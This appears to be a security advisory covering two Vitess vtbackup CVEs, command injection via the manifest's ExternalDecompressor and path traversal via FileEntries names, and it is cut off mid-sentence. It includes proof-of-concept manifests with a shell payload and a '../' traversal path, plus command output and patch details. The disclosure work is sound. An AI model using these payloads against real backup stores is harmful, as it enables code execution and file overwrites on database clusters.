RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields
..
18-05-2026
RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields
TLDR:
Two CVEs in Vitess. Both come from the backup MANIFEST file being trusted at<br>restore time.
CVE-2026-27965 (GHSA-8g8j-r87h-p36x)
CVSS 8.4, CWE-78. The ExternalDecompressor field is run through<br>/bin/sh -c. RCE as the vitess user.
CVE-2026-27969 (GHSA-r492-hjgh-c9gw)
CVSS 9.3, CWE-22. FileEntries[].Name path traversal. Write to any path<br>the vitess user can write.
Affected: v22.0.3 and older, v23.0.0-v23.0.2.
Patched: v22.0.4, v23.0.3.
Quick workaround for the RCE only: set --external-decompressor=cat or any<br>other harmless command on vttablet/vtbackup. The flag overrides the<br>manifest. No equivalent for the path traversal, upgrade.
Background:
A Vitess backup is a directory containing a JSON MANIFEST and the data files<br>it references. Restore reads the manifest, copies the data files out, and<br>optionally decompresses them.
A normal one looks like this:
"BackupMethod": "builtin",<br>"CompressionEngine": "external",<br>"ExternalDecompressor": "zstd -d",<br>"FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":"..."}],<br>"Keyspace": "test",<br>"Shard": "0",<br>"SkipCompress": false
Two fields end up being the bugs:
ExternalDecompressor, a shell command.
FileEntries[].Name, a relative path.
Both are read from the manifest and used directly. If you can write to backup<br>storage, you can edit them.
The subtle bug here is that backup storage is treated like passive data, but the<br>MANIFEST is effectively restore-time control plane input. It selects commands,<br>paths, compression behaviour, and file layout. If the backup store is writable<br>by anything other than fully trusted restore operators, the manifest becomes an<br>execution surface.
The Bugs:
CVE-2026-27965: RCE via ExternalDecompressor
From go/vt/mysqlctl/compression.go:
cmdArgs := []string{"-c", cmdStr}<br>cmd := exec.CommandContext(ctx, "/bin/sh", cmdArgs...)
cmdStr is the manifest field, verbatim. No allowlist, no validation.
PoC manifest:
"BackupMethod": "builtin",<br>"CompressionEngine": "external",<br>"ExternalDecompressor": "/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'",<br>"FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":""}],<br>"Keyspace": "test",<br>"Shard": "0",<br>"SkipCompress": false
Run vtbackup against it:
vitess@d438d03b8595:/$ /vt/bin/vtbackup \<br>--backup-storage-implementation=file \<br>--file-backup-storage-root=/vt/backups \<br>--init-keyspace=test --init-shard=0 \<br>--topo-implementation=etcd2 \<br>--topo-global-server-address=etcd:2379 \<br>--topo-global-root=/vitess/global
... "msg":"Decompressing using external command: \"/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'\""
vitess@d438d03b8595:/$ cat /tmp/PWNED<br>uid=999(vitess) gid=999(vitess) groups=999(vitess)<br>VITESS_RCE
As the vitess user, you are executing inside the tablet/container context.<br>Depending on deployment, that can mean access to database files, MySQL<br>credentials, topology-server connectivity, and the network the tablet sits on.
Multiple tablets restore from the same backup store, so one poisoned manifest<br>fans out across the cluster as new replicas come up.
The restore itself fails on a hash mismatch, but the decompressor runs before<br>the hash check. And because the engine retries failed file restores, the command<br>runs twice per attempt.
The thing worth flagging: I had no --external-decompressor flag set, no<br>--compression-engine-name=external, no compression flags at all. The default<br>compression engine is pargzip. The restore engine consults the flag first,<br>but if it is empty it falls back to whatever is in the manifest. The manifest<br>sets CompressionEngine: "external" and that is enough.
So the threat is not “an admin enabled this dangerous feature”. It is “an admin<br>who has never heard of external compressors gets RCE’d by a manifest they did<br>not write.”
The fix in PR #19460 makes the<br>manifest fallback opt-in via --external-decompressor-allow-manifest. Default<br>is to ignore the field.
CVE-2026-27969: Path traversal via FileEntries[].Name
The restore engine joins FileEntries[i].Name onto the destination data dir<br>with no normalisation.
PoC manifest:
"BackupMethod": "builtin",<br>"CompressionEngine": "",<br>"SkipCompress": true,<br>"FileEntries": [{<br>"Base": "Data",<br>"Name": "../../../../tmp/OhNo.txt",<br>"Hash": ""<br>}],<br>"Keyspace": "test",<br>"Shard": "0"
Same vtbackup invocation:
vitess@6d4bc6844b03:/$ ls /tmp/<br>OhNo.txt
The file got created at /tmp/OhNo.txt, outside the data directory, anywhere I<br>want. Contents are empty because I did not bother computing the right hash for<br>the source.
The detail that matters is from go/os2/file.go:
func Create(name string) (*os.File, error) {<br>return OpenFile(name, os.O_RDWR|os.O_CREATE|os.O_TRUNC, PermFile)
O_TRUNC happens before the hash check. So even with a wrong hash, the target<br>file gets created and truncated to zero bytes. Point a...